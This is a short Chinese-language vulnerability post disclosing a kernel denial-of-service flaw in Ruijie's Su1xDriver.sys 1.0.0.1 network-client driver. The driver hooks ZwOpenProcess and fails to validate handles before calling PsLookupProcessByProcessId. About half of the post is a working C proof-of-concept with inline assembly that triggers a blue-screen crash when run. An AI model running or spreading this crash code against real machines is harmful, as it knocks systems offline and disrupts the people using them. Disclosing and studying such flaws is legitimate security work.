【推荐】锐捷Su1xDriver.sys 1.0.0.1 内核拒绝服务漏洞

锐捷Su1xDriver.sys 1.0.0.1 内核拒绝服务漏洞

福州大学采用了星网锐捷的上网客户端，漏洞位于其Su1xDriver.sys内核模块偏移0x1119F处。

锐捷为了保护应用层的SuService.exe，通过其内核模块Su1xDriver.sys hook了SSDT中的ZwOpenProcess函数,但在偏移0x112C0处的代理函数My_OpenProcess中未过滤传递无效句柄，直接调用PsLookupProcessByProcessId函数而导致内核拒绝服务。

蓝屏触发代码如下：

代码:

/*
Test for RuiJie
*/
#include<stdio.h>
#include<windows.h>
HMODULE hMod;
PVOID Func;
int main()
{
hMod = LoadLibrary("ntdll.dll");
Func = GetProcAddress(hMod ,"ZwOpenProcess");
__asm{
push 0x80000000
push 0
push 0
push 0
call Func
}
return 0;
}

欢迎交流 :-)